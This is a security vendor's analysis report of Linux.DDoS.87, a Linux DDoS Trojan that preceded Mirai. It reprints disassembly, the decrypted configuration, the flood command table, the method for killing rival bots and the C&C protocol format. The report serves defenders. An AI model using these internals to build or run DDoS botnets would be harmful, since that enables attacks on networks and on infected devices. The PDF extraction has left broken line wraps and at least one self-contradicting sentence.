Dr.WEB

Investigation of Linux.Mirai Trojan family

Doctor Web develops and distributes Dr.Web information security solutions which provide efficient protection from malicious software and spam.

Doctor Web customers can be found among home users from all over the world and in government enterprises, small companies and nationwide corporations.

Dr.Web antivirus solutions are well known since 1992 for continuing excellence in malware detection and compliance with international information security standards. State certificates and awards received by the Dr.Web solutions, as well as the globally widespread use of our products are the best evidence of exceptional trust to the company products.

Investigation of Linux.Mirai Trojan family
9/30/2016

Doctor Web Head Office
2-12A, 3rd str. Yamskogo polya
Moscow, Russia
125124

Website: www.drweb.com
Phone: +7 (495) 789-45-87

Refer to the official web site for regional and international office information.

Introduction

A Trojan for Linux that was named **Linux.Mirai** has several predecessors. The first malware program belonging to this family was spotted in May 2016 and was dubbed **Linux.DDoS.87**. At the beginning of August, a new version of this Trojan—**Linux.DDoS.89**—was discovered. Finally, Doctor Web's security researchers investigated the **Linux.Mirai** Trojan found later that month.

To learn more on each Trojan, click the corresponding link below:

Description of Linux.DDoS.87

Description of Linux.DDoS.89

Description of Linux.Mirai

Linux.DDoS.87

c129e2a23abe826f808725a0724f12470502a3cc—x86

8fd0d16edf270c453c5b6b2481d0a044a410c7cd—ARM

9ff383309ad63da2caa9580d7d85abeece9b13a0—ARM

A Trojan for Linux designed to carry out DDoS attacks. All versions of this malicious program use the `uClibc.so` library. Before starting the mode of receiving and executing commands, the Trojan calls the following functions:

```
.text:0804B378                  push    1000h           ; size
.text:0804B37D                  call    _malloc
.text:0804B382                   mov     edi, eax         ; buffer for com-
mand
.text:0804B384                  call    fillConfig
.text:0804B389                  call    init_random
.text:0804B38E                  call    runKiller
.text:0804B393                  call    fillCmdHandlers
```

fillConfig

This function uses one memory sector to store configuration information. This configuration storing can be described in the C language as follows:

```
union {
  char *;
  short *;
  int  *;
} conf_data;

struct conf_entry {
    uint32    number;
    conf_data data;
    uint32    length
}

struct malware_config {
    conf_entry *entries;
    uint32      entries_count;
}
```

Each configuration field is filled in the following way:

```
Config.entries = realloc(Config.entries, 12 * Config.length + 12);

v0 = &Config.entries[Config.length];

v0->number = 0;

v1 = malloc(4u);

*v1 = XX;
```

```
v1[1] = XX;
v1[2] = XX;
v1[3] = XX;
v0->data = v1;
v2 = Config.entries;
v3 = Config.length + 1;
Config.entries[Config.length].length = 4;
Config.length = v3;
```

Some strings are stored in an encrypted ELF file and are decrypted before being recorded:

```
.text:0804CA8B                  call    _realloc
.text:0804CA90                  mov     edx, ds:Config.length
.text:0804CA96                  lea     edx, [edx+edx*2]
.text:0804CA99                  mov     ds:Config.entries, eax
.text:0804CA9E                  lea     esi, [eax+edx*4]
.text:0804CAA1                  mov     dword ptr [esi], 0Bh
.text:0804CAA7                  mov     [esp+1Ch+size], 49h ; size
.text:0804CAAE                  call    _malloc
.text:0804CAB3                  mov     edx, 1
.text:0804CAB8                  mov     ebx, eax
.text:0804CABA                  mov     ecx, offset unk_804FD80
.text:0804CABF                  add     esp, 10h
.text:0804CAC2
.text:0804CAC2 loc_804CAC2:                                     ; CODE XREF:
fillConfig+4D0j
.text:0804CAC2                  mov     al, [ecx]
.text:0804CAC4                  inc     ecx
.text:0804CAC5                  xor     eax, 0FFFFFFAFh
.text:0804CAC8                  mov     [edx+ebx-1], al
.text:0804CACC                  inc     edx
.text:0804CACD                  cmp     edx, 4Ah
.text:0804CAD0                  jnz     short loc_804CAC2
.text:0804CAD2                  mov     eax, ds:Config.length
.text:0804CAD7                  mov     ecx, ds:Config.entries
.text:0804CADD                  mov     [esi+4], ebx
.text:0804CAE0                  lea     edx, [eax+eax*2]
.text:0804CAE3                  inc     eax
.text:0804CAE4                  mov     dword ptr [ecx+edx*4+8], 49h
.text:0804CAEC                  mov     ds:Config.length, eax
```

The following data is saved to the examined sample's configuration:

Number	Data type	Value	Purpose
0	uint32	—	Command and control server's IP address
1	uint 16	—	port
2	string	'kami\x00'	displayed in main on stdin upon launching the Trojan
3	uint 8	1	Sent to the server after transferring the MAC address
4	4	0x08080808	not used
5	4	JR**	not used
6	4	0x06400640	not used
7	4	0x0300f4d1	not used
8	string	"TSource Engine Query"	cmd1 – TSource Engine DDoS
9	string	"/"	cmd14 default page
10	string	"www.google.com"	cmd14 default host
11	string	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"	cmd14 User Agent for request
12	string	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"	cmd14 User Agent for request
13	string	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"	cmd14 User Agent for request
14	string	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"	cmd14 User Agent for request
15	string	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56"	not used
20	string	"GET "	cmd14 generating requests
21	string	"HTTP/1.1"	cmd14 generating requests
22	string	"Host: "	cmd14 generating requests

Number	Data type	Value	Purpose
23	string	"Connection: keep-alive"	cmd14 generating requests
24	string	"User-Agent: "	cmd14 generating requests
25	string	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"	cmd14 generating requests
26	string	"Accept-Encoding: gzip, deflate, sdch"	cmd14 generating requests
27	string	"Accept-Language: en-US,en;q=0.8"	cmd14 generating requests
28	string	"Cookie: "	not used
29	string	"/proc/"	used by runKiller function
30	string	"/exe"	used by runKiller function
31	string	"/cwd/"	used by runKiller function
33	string	".shinigami"	used by runKiller and main functions
100	string	"gayfgt"	used by runKiller function
101	string	"REPORT %s:%s"	used by runKiller function
102	string	"hello friend :)"	used by runKiller function
103	string	"[KTN]"	used by runKiller function

The following functions are then used to get the configuration values:

Function	Purpose
char *get_data_from_config(int number)	returns the data pointer for conf_entry with the number value
uint32 get_conf_uint32(int number)	returns unit32 stored under the data pointer for conf_entry with the number value
uint16 get_conf_uint16(int number)	returns unit16 stored under the data pointer for conf_entry with the number value
uint8 get_conf_uint8(int number)	returns unit8 stored under the data pointer for conf_entry with the number value

init_random

This function initializes the generation of pseudo-random sequences. **Linux.BackDoor.Fgt** and **Linux.BackDoor.Tsunami** used such generators; however, their operation was implemented in a different manner.

The `init_rand` function from **Linux.DDoS.87**:

```
.text:080481AC init_rand        proc near                   ; CODE XREF:
sendUDP+249p
.text:080481AC                                              ; processCmd+1E3p
...
.text:080481AC
.text:080481AC var_4            = dword ptr -4
.text:080481AC arg_0            = dword ptr  8
.text:080481AC
.text:080481AC                  push    ebp
.text:080481AD                  mov     ebp, esp
.text:080481AF                  sub     esp, 10h
.text:080481B2                  mov     eax, [ebp+arg_0]
.text:080481B5                  mov     ds:Q, eax
.text:080481BA                  mov     eax, [ebp+arg_0]
.text:080481BD                  sub     eax, 61C88647h
.text:080481C2                  mov     ds:dword_80599E4, eax
.text:080481C7                  mov     eax, [ebp+arg_0]
.text:080481CA                  add     eax, 3C6EF372h
.text:080481CF                  mov     ds:dword_80599E8, eax
.text:080481D4                  mov     [ebp+var_4], 3
.text:080481DB                  jmp     short loc_8048211
.text:080481DD                                                              ;
-------------------------------------------------------------------------
--
.text:080481DD
.text:080481DD loc_80481DD:                                 ; CODE XREF:
init_rand+6Cj
.text:080481DD                  mov     ecx, [ebp+var_4]
.text:080481E0                  mov     eax, [ebp+var_4]
.text:080481E3                  sub     eax, 3
.text:080481E6                  mov     edx, ds:Q[eax*4]
.text:080481ED                  mov     eax, [ebp+var_4]
.text:080481F0                  sub     eax, 2
.text:080481F3                  mov     eax, ds:Q[eax*4]
.text:080481FA                  xor     edx, eax
.text:080481FC                  mov     eax, [ebp+var_4]
.text:080481FF                  xor     eax, edx
.text:08048201                  xor     eax, 9E3779B9h
```

```
.text:08048206                  mov     ds:Q[ecx*4], eax
.text:0804820D                  add     [ebp+var_4], 1
.text:08048211
.text:08048211 loc_8048211:                                     ; CODE XREF:
init_rand+2Fj
.text:08048211                  cmp     [ebp+var_4], 0FFFh
.text:08048218                  jle     short loc_80481DD
.text:0804821A                  leave
.text:0804821B                  retn
.text:0804821B init_rand        endp
```

The `init_random` function from **Linux.DDoS.87**:

```
.text:0804C090 init_random      proc near               ; CODE XREF: main
+29p
.text:0804C090                                          ; sub_804B930+CFp
.text:0804C090                  push    esi
.text:0804C091                  push    ebx
.text:0804C092                  sub     esp, 4
.text:0804C095                  call    ___libc_getpid
.text:0804C09A                  mov     esi, eax
.text:0804C09C                  call    _getppid
.text:0804C0A1                  sub     esp, 0Ch
.text:0804C0A4                  mov     ebx, eax
.text:0804C0A6                  push    0               ; time
.text:0804C0A8                  call    ___GI_time
.text:0804C0AD                  imul    ebx, eax
.text:0804C0B0                  mov     ecx, 3
.text:0804C0B5                  add     esp, 10h
.text:0804C0B8                  lea     edx, [esi+ebx]
.text:0804C0BB                  mov     ds:random_gen_data, edx
.text:0804C0C1                  lea     eax, [edx-61C88647h]
.text:0804C0C7                  mov     ds:rand1, eax
.text:0804C0CC                  lea     eax, [edx+3C6EF372h]
.text:0804C0D2                  mov     ds:rand2, eax
.text:0804C0D7
.text:0804C0D7 loc_804C0D7:                                     ; CODE XREF:
init_random+6Fj
.text:0804C0D7                  mov     edx, ds:dword_8051694[ecx*4]
.text:0804C0DE                  mov     eax, ecx
.text:0804C0E0                  xor     eax, edx
.text:0804C0E2                  mov     edx, ds:dword_8051698[ecx*4]
.text:0804C0E9                  xor     edx, 9E3779B9h
.text:0804C0EF                  xor     eax, edx
.text:0804C0F1                  mov     ds:random_gen_data[ecx*4], eax
```

```
.text:0804C0F8                  inc     ecx
.text:0804C0F9                  cmp     ecx, 1000h
.text:0804C0FF                  jnz     short loc_804C0D7
.text:0804C101                  pop     eax
.text:0804C102                  pop     ebx
.text:0804C103                  pop     esi
.text:0804C104                  retn
.text:0804C104 init_random      endp
```

runKiller

This function launches a child process designed to search running processes for other Trojans and terminate them. You can see a description of a child process's operation below.

First, the process kills standard **stdin**, **stdout**, and **stderr** threads and retrieves the strings it needs from the configuration:

```
.text:0804AFAB                  push    STDIN_FILENO    ; fd
.text:0804AFAD                  call    ___libc_close
.text:0804AFB2                   mov     dword ptr [esp+0], STDERR_FILENO ;
fd
.text:0804AFB9                  call    ___libc_close
.text:0804AFBE                   mov     dword ptr [esp+0], STDOUT_FILENO ;
fd
.text:0804AFC5                  call    ___libc_close
.text:0804AFCA                  mov     dword ptr [esp+0], 1Dh
.text:0804AFD1                  call    get_data_from_config
.text:0804AFD6                  mov     dword ptr [esp+0], 1Eh
.text:0804AFDD                  mov     ds:proc, eax
.text:0804AFE2                  call    get_data_from_config
.text:0804AFE7                  mov     dword ptr [esp+0], 1Fh
.text:0804AFEE                  mov     ds:exe, eax
.text:0804AFF3                  call    get_data_from_config
.text:0804AFF8                  mov     dword ptr [esp+0], 21h
.text:0804AFFF                  mov     ds:cwd, eax
.text:0804B004                  call    get_data_from_config
.text:0804B009                  mov     dword ptr [esp+0], 64h
.text:0804B010                  mov     ds:shinigami, eax
.text:0804B015                  call    get_data_from_config
.text:0804B01A                  mov     dword ptr [esp+0], 65h
.text:0804B021                  mov     ds:gayfgt, eax
.text:0804B026                  call    get_data_from_config
.text:0804B02B                  mov     dword ptr [esp+0], 66h
.text:0804B032                  mov     ds:report_fmt, eax
.text:0804B037                  call    get_data_from_config
```

```
.text:0804B03C                  mov     dword ptr [esp+0], 67h
.text:0804B043                  mov     ds:hello_friend, eax
.text:0804B048                  call    get_data_from_config
.text:0804B04D                  mov     ebp, ds:proc
.text:0804B053                  mov     ds:KTN, eax
```

Then the Trojan tries to open the following file objects:

```
/proc/<PID>/exe
/proc/<PID>/cwd/
```

If successful, the relevant flag is set. If not, the process terminates itself:

```
.text:0804B13F                  cmp     ds:couldOpenExe, 0
.text:0804B146                  jz      short loc_804B158
.text:0804B148                  lea     ebp, [esp+0A3Ch+var_226]
.text:0804B14F                  cmp     ds:couldOpenCWD, 0
.text:0804B156                  jnz     short loc_804B17E
.text:0804B158
.text:0804B158 loc_804B158:                             ; CODE XREF: run-
Killer+1C6j
.text:0804B158                  sub     esp, 0Ch
.text:0804B15B                  push    0               ; status
.text:0804B15D                  call    ___GI_exit
```

If the process continues operating, in five minutes it starts searching for other Trojans in order to terminate their operation by reading the content of the `/proc/` folder in an infinite loop:

```
.text:0804B162 read_proc_from_begin:                    ; CODE XREF: run-
Killer+225j
.text:0804B162                  sub     esp, 0Ch
.text:0804B165                  mov     eax, [esp+0A48h+var_A34]
.text:0804B169                  push    eax
.text:0804B16A                  call    ___GI_closedir
.text:0804B16F                  mov     [esp+0A4Ch+fd], 5
.text:0804B176                  call    sleep
.text:0804B17B                  add     esp, 10h
.text:0804B17E
.text:0804B17E loc_804B17E:                             ; CODE XREF: run-
Killer+1D6j
.text:0804B17E                  sub     esp, 0Ch
.text:0804B181                  mov     eax, ds:proc
.text:0804B186                  push    eax             ; filename
.text:0804B187                  call    ___GI_opendir
.text:0804B18C                  mov     [esp+0A4Ch+var_A34], eax
```

```
.text:0804B190                  add     esp, 10h
.text:0804B193
.text:0804B193 read_next_proc_entry:                    ; CODE XREF: run-
Killer+23Aj
.text:0804B193                                           ; runKiller+296j
...
.text:0804B193                  sub     esp, 0Ch
.text:0804B196                  mov     edx, [esp+0A48h+var_A34]
.text:0804B19A                  push    edx
.text:0804B19B                  call    ___GI_readdir
.text:0804B1A0                  add     esp, 10h
.text:0804B1A3                  test    eax, eax
.text:0804B1A5                  jz      short read_proc_from_begin
```

If the folder from which the process was run is found to contain a file named **.shinigami**, the process is not terminated because it is used to implement some kind self-protection:

```
.text:0804B1BC                  push    eax             ; char
.text:0804B1BD                  push    eax             ; int
.text:0804B1BE                  mov     eax, ds:proc
.text:0804B1C3                  push    eax             ; a2
.text:0804B1C4                  push    ebp             ; a1
.text:0804B1C5                  call    strcpy
.text:0804B1CA                  pop     ecx
.text:0804B1CB                  lea     ebx, [ebp+eax+0]
.text:0804B1CF                  pop     eax
.text:0804B1D0                  push    esi             ; a2
.text:0804B1D1                  push    ebx             ; a1
.text:0804B1D2                  call    strcpy
.text:0804B1D7                  add     ebx, eax
.text:0804B1D9                  pop     eax
.text:0804B1DA                  mov     eax, ds:cwd
.text:0804B1DF                  pop     edx
.text:0804B1E0                  push    eax             ; a2
.text:0804B1E1                  push    ebx             ; a1
.text:0804B1E2                  call    strcpy
.text:0804B1E7                  pop     edx
.text:0804B1E8                  pop     ecx
.text:0804B1E9                  mov     ecx, ds:shinigami
.text:0804B1EF                  lea     eax, [ebx+eax]
.text:0804B1F2                  push    ecx             ; a2
.text:0804B1F3                  push    eax             ; a1
.text:0804B1F4                  call    strcpy
.text:0804B1F9                  pop     eax
.text:0804B1FA                  pop     edx
```

```
.text:0804B1FB                push    0               ; flags
.text:0804B1FD                push    ebp             ; filename
.text:0804B1FE                call    ___GI___libc_open
.text:0804B203                add     esp, 10h
.text:0804B206                test    eax, eax
.text:0804B208                js      short kill_if_bot
.text:0804B20A                sub     esp, 0Ch
.text:0804B20D                push    eax             ; fd
.text:0804B20E                call    ___libc_close
.text:0804B213                add     esp, 10h
.text:0804B216                jmp     read_next_proc_entry
```

If the file named **.shinigami** is absent from the folder, the process's executable file is read in order to find strings from a configuration whose numbers are higher than 100. Meanwhile, the Trojan reads file fragments sequentially. The size of each fragment is 0x800 byte. If the value required is at buffer overflow, the process is not terminated.

fillCmdHandlers

A function responsible for filling a structure that stores command handlers. The structure looks as follows:

```
struct cmd {
    char  number;
    void *handler;
}

struct cmd_handlers {
    cmd *handlers;
    char  length;
}
```

The structure is filled in the following way:

```
v0 = realloc(handlers.handlers, 8 * handlers.length + 8);
v1 = handlers.length + 1;
handlers.handlers = v0;
v2 = &v0[handlers.length];
v2->number = 0;
v2->func = cmd0_udp_random;
handlers.length = v1;
```

```
v3 = realloc(v0, 8 * v1 + 8);
handlers.handlers = v3;
v4 = handlers.length + 1;
v5 = &v3[handlers.length];
v5->number = 1;
v5->func = cmd1_tsource;
```

As a result, the following command table is generated:

Number	Purpose
15-17	The examined sample contains functions that are executed in an infinite loop
14	HTTP flood
9	Transparent Ethernet Bridging в GRE
8	UDP flood overGRE
7	Establishing a TCP connection
6	sending a TCP packet
4	TCP flood—send packets containing random data
3	TCP flood—send packets with TCP options
2	DNS flood
1	TSource flood
0	UDP flood

Once all the above functions are performed, the following string is retrieved from the configuration and added to the **stdin** thread:

```
.text:0804B398                mov     dword ptr [esp+0], 2
.text:0804B39F                call    get_data_from_config ; kami
.text:0804B3A4                mov     [esp+0], eax    ; a1
.text:0804B3A7                call    strlen
.text:0804B3AC                mov     dword ptr [esp+0], 2
.text:0804B3B3                mov     ebx, eax
.text:0804B3B5                call    get_data_from_config
.text:0804B3BA                add     esp, 0Ch
.text:0804B3BD                push    ebx             ; len
.text:0804B3BE                push    eax             ; addr
.text:0804B3BF                push    1               ; fd
```

```
.text:0804B3C1                call    ___libc_write
.text:0804B3C6                add     esp, 0Ch
.text:0804B3C9                push    1               ; int
.text:0804B3CB                push    offset newline  ; int
.text:0804B3D0                push    1               ; fd
.text:0804B3D2                call    ___libc_write
```

Then the Trojan removes its name to hide itself:

```
.text:0804B3D8                mov     ebp, [esi]      ; esi = argv[0]
.text:0804B3DA                push    ebp             ; a1
.text:0804B3DB                call    strlen
.text:0804B3E0                add     esp, 10h
.text:0804B3E3                mov     ecx, eax
.text:0804B3E5                test    eax, eax
.text:0804B3E7                jle     short loc_804B3F6
.text:0804B3E9                xor     edx, edx
.text:0804B3EB
.text:0804B3EB loc_804B3EB:                           ; CODE XREF: main
+94j
.text:0804B3EB                mov     eax, [esi]
.text:0804B3ED                mov     byte ptr [eax+edx], 0
.text:0804B3F1                inc     edx
.text:0804B3F2                cmp     ecx, edx
.text:0804B3F4                jnz     short loc_804B3EB
```

The child processes are subsequently launched (the code is simplified and contains no requests to the configuration):

```
//here is parent
pid_t child = fork();
(child > 0){
    waitpid(child, &status, 0); //waiting until child die
    exit();
}
if(!child){ //child executing this
    pid_t child2 = fork();
    if(child2 > 0){//we spawn children—time to die
        exit(); //after this exit() grandpa will die too
    }
}
pid_t child3 = fork();
```

```
if(child3>0){
    v28 = __GI___libc_open(".shinigami", O_CREAT, v30);
    if (v28 >= 0)
        close(v28);
    sleep(...) // one week
    kill(child3);
    exit();
}
payload;
```

The **.shinigami** file is created in the Trojan's folder to protect the Trojan from removing itself. The maximum uptime of **Linux.DDoS.87** on an infected computer is one week, after which the Trojan terminates its operation.

The cycle for receiving and executing commands

After that, the malicious process tries to connect to the C&C server to get instructions:

```
.text:0804B44E                call    ___libc_fork
.text:0804B453                mov     ebx, eax
.text:0804B455                test    eax, eax
.text:0804B457                jg      loc_804B84E
.text:0804B45D                call    ___GI_setsid
.text:0804B462                sub     esp, 0Ch
.text:0804B465                push    0               ; fd
.text:0804B467                call    ___libc_close
.text:0804B46C                mov     dword ptr [esp+0], 1 ; fd
.text:0804B473                call    ___libc_close
.text:0804B478                mov     dword ptr [esp+0], 2 ; fd
.text:0804B47F                call    ___libc_close
.text:0804B484                add     esp, 10h
.text:0804B487                lea     eax, [edi+2]
.text:0804B48A                xor     esi, esi
.text:0804B48C                 mov     [esp+48Ch+ptr_to_third_comm_byte],
eax
.text:0804B490 entry_point_of_payload_execution:        ; CODE XREF: main
+167j
.text:0804B490                                          ; main+17Aj ...
.text:0804B490                mov     edx, esi
.text:0804B492                mov     eax, 1000h
.text:0804B497                and     edx, 0FFFFh
.text:0804B49D                push    4000h           ; int
.text:0804B4A2                sub     eax, edx
```

```
.text:0804B4A4                  push    eax             ; int
.text:0804B4A5                  lea     edx, [edi+edx]
.text:0804B4A8                  mov     eax, ds:fd
.text:0804B4AD                  push    edx             ; char *
.text:0804B4AE                  push    eax             ; int
.text:0804B4AF                  call    ___libc_recv
.text:0804B4B4                  add     esp, 10h
.text:0804B4B7                  test    eax, eax
.text:0804B4B9                  jle     recv_failed
.text:0804B4BF                  add     esi, eax
.text:0804B4C1                  cmp     si, 1
.text:0804B4C5                  ja      short recv_ok
.text:0804B4C7                    jmp     short entry_point_of_payload_exe-
cution
```

If **recv** returns an error, a socket is opened, and its content is recorded to the **fd** global variable:

```
.text:0804B553 recv_failed:                             ; CODE XREF: main
+159j
.text:0804B553                  mov     eax, ds:fd
.text:0804B558                  test    eax, eax
.text:0804B55A                  js      short fd_closed_or_uninitialized
.text:0804B55C                  sub     esp, 0Ch
.text:0804B55F                  push    eax             ; fd
.text:0804B560                  call    ___libc_close
.text:0804B565                  add     esp, 10h
.text:0804B568
.text:0804B568 fd_closed_or_uninitialized:              ; CODE XREF: main
+1FAj
.text:0804B568                  push    eax
.text:0804B569                  push    0
.text:0804B56B                  push    1
.text:0804B56D                  push    2
.text:0804B56F                  call    ___GI_socket
.text:0804B574                  add     esp, 10h
.text:0804B577                  mov     ds:fd, eax
```

During reading/writing, a minute-long time-out is set:

```
socket_timeout.tv_sec = 60;
socket_timeout.tv_usec = 0;
__GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8);
__GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);
```

Then a connection to the C&C server is established:

```
.text:0804B5CE                    mov     [esp+4ACh+cnc_sockaddr.sin_fam-
ily], 2
.text:0804B5D8                add     esp, 14h
.text:0804B5DB                push    0
.text:0804B5DD                call    get_conf_uint32
.text:0804B5E2                mov     dword ptr [esp+0], 1
.text:0804B5E9                        mov       [esp+49Ch+cnc_sock-
addr.sin_addr.s_addr], eax
.text:0804B5F0                call    get_conf_uint16
.text:0804B5F5                ror     ax, 8
.text:0804B5F9                 mov     [esp+49Ch+cnc_sockaddr.sin_port],
ax
.text:0804B601                add     esp, 0Ch
.text:0804B604                mov     eax, ds:fd
.text:0804B609                push    10h
.text:0804B60B                lea     edx, [esp+494h+cnc_sockaddr]
.text:0804B612                push    edx
.text:0804B613                push    eax
.text:0804B614                call    ___libc_connect
```

After that the IP address of the interface in use is saved and a string containing an identifier of an infected device's architecture (x86, ARM, MIPS, SPARC, SH-4 or M68K) is sent to the C&C server:

```
.text:0804B62F                lea     eax, [esp+490h+status]
.text:0804B636                mov     ecx, ds:fd
.text:0804B63C                push    eax
.text:0804B63D                lea     edx, [esp+494h+var_54]
.text:0804B644                push    edx
.text:0804B645                push    ecx
.text:0804B646                call    ___GI_getsockname
.text:0804B64B                        mov       eax,  [esp+49Ch
+var_54.sin_addr.s_addr]
.text:0804B652                mov     ds:selfaddr, eax
.text:0804B657                pop     eax
.text:0804B658                pop     edx
.text:0804B659                push    1               ; size
.text:0804B65B                push    20h             ; nmemb
.text:0804B65D                call    _calloc
.text:0804B662                    mov     dword ptr [esp+0], offset a2
; "telnet.x86"
.text:0804B669                mov     ebx, eax
.text:0804B66B                call    strlen
.text:0804B670                add     esp, 0Ch
.text:0804B673                push    eax             ; a3
```

```
.text:0804B674                  push    offset a2       ; "telnet.x86"
.text:0804B679                  push    ebx             ; a1
.text:0804B67A                  call    strncpy
.text:0804B67F                  mov     eax, ds:fd
.text:0804B684                  push    4000h           ; int
.text:0804B689                  push    20h             ; int
.text:0804B68B                  push    ebx             ; char *
.text:0804B68C                  push    eax             ; int
.text:0804B68D                  call    ___libc_send
```

The MAC address of a network card is also sent to the C&C server:

```
.text:0804B756                  push    edx             ; ifconf *
.text:0804B757                  push    SIOCGIFFLAGS    ; request
.text:0804B75C                  push    esi             ; d
.text:0804B75D                  call    ___GI_ioctl
.text:0804B762                  add     esp, 10h
.text:0804B765                  test    eax, eax
.text:0804B767                  jnz     short loc_804B735
.text:0804B769                  test    byte ptr [esp+48Ch+a1.ifr_ifru], 8
.text:0804B771                  jnz     short loc_804B735
.text:0804B773                  push    eax             ; char *
.text:0804B774                  lea     eax, [esp+490h+a1]
.text:0804B77B                  push    eax             ; ifconf *
.text:0804B77C                  push    SIOCGIFHWADDR   ; request
.text:0804B781                  push    esi             ; d
.text:0804B782                  call    ___GI_ioctl
.text:0804B787                  add     esp, 10h
.text:0804B78A                  test    eax, eax
.text:0804B78C                  jnz     short loc_804B735
.text:0804B78E                  push    esi
.text:0804B78F                  push    6               ; a3
.text:0804B791                  lea     edx, [esp+494h+a1.ifr_ifru+2]
.text:0804B798                  push    edx             ; a2
.text:0804B799                  lea     eax, [esp+498h+macAddr]
.text:0804B7A0                  push    eax             ; a1
.text:0804B7A1                  call    strncpy
.text:0804B7A6                  add     esp, 10h
.text:0804B7A9 loc_804B7A9:                             ; CODE XREF: main
+381j...
.text:0804B7A9                  push    4000h           ; int
.text:0804B7AE                  push    6               ; int
.text:0804B7B0                  lea     edx, [esp+494h+macAddr]
.text:0804B7B7                  mov     ebx, ds:fd
.text:0804B7BD                  push    edx             ; char *
```

```
.text:0804B7BE                  push    ebx             ; int
.text:0804B7BF                  call    ___libc_send
.text:0804B7C4                  mov     dword ptr [esp+0], 3
.text:0804B7CB                  call    get_data_char
.text:0804B7D0                  mov     ecx, ds:fd
.text:0804B7D6                  mov     [esp+49Ch+var_15], al
.text:0804B7DD                  push    4000h           ; int
.text:0804B7E2                  push    1               ; int
.text:0804B7E4                  xor     esi, esi
.text:0804B7E6                  lea     eax, [esp+4A4h+var_15]
.text:0804B7ED                  push    eax             ; char *
.text:0804B7EE                  push    ecx             ; int
.text:0804B7EF                  call    ___libc_send
```

Data from the C&C server is saved to the buffer. If more than one command is received during an iteration, they are handled one by one. The format of the received command (for number fields, network byte order is used) is as follows:

Field	Purpose	Size
fullLength	full length of the received command	2
sleepTime	time for execution (every command runs a new process using fork and then kills it)	4
cmd	command number	1
hostCount	number of attacked hosts	1
target[hostCount]	target array	5*hostCount
param_cnt	quantity	1
param[param_cnt]	parameters	...

If **fullLength == 0**, two zero bytes are sent to the C&C server:

```
.text:0804B518 recv_ok:                                 ; CODE XREF: main
+165j
.text:0804B518                  mov     ax, [edi]
.text:0804B51B                  ror     ax, 8
.text:0804B51F                  test    ax, ax
.text:0804B522                  jnz     short process_command
.text:0804B524                  mov     eax, ds:fd
```

```
.text:0804B529                  push    4000h           ; int
.text:0804B52E                  push    2               ; int
.text:0804B530                  push    edi             ; char *
.text:0804B531                  push    eax             ; int
.text:0804B532                  call    ___libc_send
.text:0804B537                  add     esp, 0Ch
.text:0804B53A                  sub     esi, 2
.text:0804B53D                  push    0FFFFFFFFh
.text:0804B53F                  push    2
.text:0804B541                  mov     ebp, [esp+498h+ptr_to_third_comm_-
byte]
.text:0804B545                  push    ebp
.text:0804B546                  call    shiftBuffer
.text:0804B54B                  add     esp, 10h
.text:0804B54E                  jmp     entry_point_of_payload_execution
```

If the length is zero, the processor of the received command is launched:

```
text:0804B4D0 process_command:                          ; CODE XREF: main
+1C2j
.text:0804B4D0                  cmp     ax, 1
.text:0804B4D4                  jz      short loc_804B4DC
.text:0804B4D6                  cmp     ax, 1000h
.text:0804B4DA                  ja      short entry_point_of_payload_exe-
cution
.text:0804B4DC
.text:0804B4DC loc_804B4DC:                             ; CODE XREF: main
+174j
.text:0804B4DC                  cmp     ax, si
.text:0804B4DF                  ja      short entry_point_of_payload_exe-
cution
.text:0804B4E1                  sub     si, ax
.text:0804B4E4                  mov     ebx, eax
.text:0804B4E6                  and     ebx, 0FFFFh
.text:0804B4EC                  push    edx
.text:0804B4ED                  push    edx
.text:0804B4EE                  lea     eax, [ebx-2]
.text:0804B4F1                  push    eax             ; a2
.text:0804B4F2                  mov     eax, [esp+498h+ptr_to_third_comm_-
byte]
```

```
.text:0804B4F6                  push    eax             ; a1
.text:0804B4F7                  call    process
.text:0804B4FC                  add     esp, 0Ch
.text:0804B4FF                  push    0FFFFFFFFh
.text:0804B501                  push    ebx
.text:0804B502                  lea     ebx, [edi+ebx]
.text:0804B505                  push    ebx
.text:0804B506                  call    shiftBuffer
.text:0804B50B                  add     esp, 10h
.text:0804B50E                  cmp     si, 1
.text:0804B512                  jbe     entry_point_of_payload_execution
```

process

The function receives a pointer to the third byte of the command and its length. Then it starts parsing the command's arguments and filling the respective structures:

```
// structures representing data received from the server
struct target{
    uint32_t ip; //target IP
    uint8_t  maskbits;  // if the specified number is less than 31, the
Trojan will attack random hosts obtained from IP by randomly generating
lowest bits maskbits
}


struct param{
    uint8_t id;
    uint8_t len;
    uint8_t data[len];
}
//structures that are displayed in the Trojan
struct target_parsed {
    uint32      target_ip;
    uint8       maskbits;
    sockaddr_in sockaddr;
}


struct param_parsed {
    uint8   id;
```

```
    char *  data;
}
```

Code to initiate an analysis of the packet header:

```
.text:0804BA60 head_packet_parse:                      ; CODE XREF: pro-
cess+12j
.text:0804BA60                 mov     edi, [esi+pkct_cmd.sleepTime] ;
ebx = size
.text:0804BA62                 ror     di, 8
.text:0804BA66                 ror     edi, 10h
.text:0804BA69                 ror     di, 8
.text:0804BA6D                 cmp     ebx, 4
.text:0804BA70                 jz      short ret_form_func
.text:0804BA72                 mov     al, [esi+pkct_cmd.cmd]
.text:0804BA75                 cmp     ebx, 5
.text:0804BA78                 mov     [esp+4Ch+var_39], al
.text:0804BA7C                 jz      short ret_form_func
.text:0804BA7E                 mov     al, [esi+pkct_cmd.host_count]
.text:0804BA81                 test    al, al
.text:0804BA83                 jz      short ret_form_func
.text:0804BA85                 and     eax, 0FFh
.text:0804BA8A                 lea     edx, [ebx-6]
.text:0804BA8D                 mov     [esp+4Ch+unprocessed_bytes], edx
.text:0804BA91                 mov     [esp+4Ch+target_count], eax
.text:0804BA95                 lea     ebp, [eax+eax*4]
.text:0804BA98                 cmp     edx, ebp
.text:0804BA9A                 jb      short ret_form_func
